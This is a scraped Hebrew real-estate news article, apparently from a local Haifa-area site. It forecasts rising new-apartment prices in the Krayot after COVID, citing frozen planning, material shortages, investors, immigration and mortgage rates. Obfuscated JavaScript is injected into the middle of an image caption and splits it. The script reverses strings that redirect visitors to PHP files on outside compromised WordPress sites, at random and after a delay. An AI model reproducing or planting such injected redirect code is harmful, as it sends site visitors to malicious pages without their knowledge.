/* מחירי הדירות החדשות בקריות צפויים לעלות | ביום שאחרי הקורונה | שוק הנדל"ן
[shortcode-weather-atlas city_selector=1178243 background_color="transparent" daily=0 unit_c_f="c" sunrise_sunset= 0 current=0 detailed_forecast=0]
חיפוש
פרסמו אצלנו
בחירת עיר
פרסמו אצלנו

ביום שאחרי הקורונה: מחירי הדירות החדשות בקריות צפויים לעלות

לאן מועדות פניו של שוק הנדל"ן בישראל בכלל ובקריות ובחיפה בפרט? מומחי נדל"ן באזור מפרטים מספר גורמים שלדבריהם יביאו לעלייה במחירי הדירות החדשות
מחירי הנדל"ן בקריות צפויים לעלות | אילוסטרציה: shutterstock
מחירי הנדל"ן בקריות צפויים לעלות | אילוסטרציה: shutters$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock

מומחים בענף הנדל"ן מעריכים, כי בעקבות משבר הקורונה, מחירי הדירות החדשות בקריות צפויים לעלות. לדבריהם, הסיבה לכך נעוצה במספר גורמים, שבשנים האחרונות בכלל ובתקופת הקורונה בפרט הקטינו את היצע הדירות החדשות לעומת הביקושים הגדולים. מגמה זו תוביל להתייקרות במחירי הדירות.

הקפאת הפעילות של הוועדות לתכנון ובנייה

ועדות התכנון, שהקפיאו את פעילותן בחודשים האחרונים בגלל משבר הקורונה, יגרמו במישרין לעיכובים בקידום תוכניות ומתן היתרי בנייה, וכפועל יוצא מכך להפחתה משמעותית ולמחסור במלאי דירות חדשות – לעומת ביקושים גדולים וקשיחים הנובעים מקצב גידול האוכלוסייה, חתונות והרחבת התא המשפחתי – והתוצאה תהיה ביקושים גדולים לרכישת דירות חדשות לעומת המחסור הצפוי במלאי הדירות, מה שיביא לעליית מחירים.

בנוסף, גם הקפאת מכרזים על ידי רשות מקרקעי ישראל תביא לירידה דרמטית בהתחלות הבנייה. זאת ועוד. בשנים האחרונות הרוב המכריע של המכרזים של רשות מקרקעי ישראל התנהלו על פי תוכנית מחיר למשתכן, כלומר: בנייה ושיווק  של דירות המיועדות רק לזוגות צעירים ולא למשפרי דיור, מה שגרם למחסור גדול במלאי דירות חדשות למשפרי הדיור.

מחסור בחומרי בנייה וכוח אדם

גורמים בכירים בשוק הנדל"ן הביעו את חששם מהמחסור הצפוי בחומרי בנייה כתוצאה מהירידה ביבוא מסין. לדבריהם, הרחבת היקף היבוא ממדינות אחרות וכן המחסור בעובדים בענף, יגררו עלייה במדד תשומות הבנייה, שיביא להתייקרות במחירי הדירות החדשות, שכן מקובל שכל התשלומים לחברות הבנייה צמודים למדד זה.

המשקיעים

המשקיעים בשוק ההון, המודאגים מצניחת הבורסות בארץ ובחו"ל, מעדיפים להסיט את השקעותיהם לשוק הנדל"ן, הנחשב להשקעה בטוחה ויציבה ומציג בשנים האחרונות, עליות מחירים. משקיעים אלה, עשויים עתה להגביר את הביקושים לדירות חדשות ובמישרין ובעקיפין להביא לעליית מחירי הנדל"ן, כפי שקרה במשבר הכלכלי העולמי וקריסות הבורסות בשנת 2008, שהובילו לזינוק חד במחירי הנדל"ן.

עליית יהודים מבוססים

נתון נוסף ומפתיע שעלול לגרום להתייקרות מחירי הדירות הוא עלייה של יהודים בעלי יכולת כלכלית מארה"ב ומרחבי אירופה, הרואים כיום בישראל מקום בטוח מבחינה בריאותית. אלה יבקשו לרכוש דירות גם לצורך השקעה באזורים שונים בארץ, לרבות בקריות.

המשכנתאות

למגמה של עליית מחירי הנדל"ן יתרמו גם הבנקים למשכנתאות, שעל פי ההערכות, יהיו הראשונים לנצל את משבר הקורונה, כדי להעלות את הריביות. המסקנה המסתמנת כבר עתה: מי שיספיק לקבע ריביות משכנתה בתקופה הקרובה לפני העליות החדות – ירוויח.

ידיעות נדל"ן נוספות

אהבתם? שתפו!

תגיות

אולי גם יעניין אותך

שיתוף ברשתות החברתיות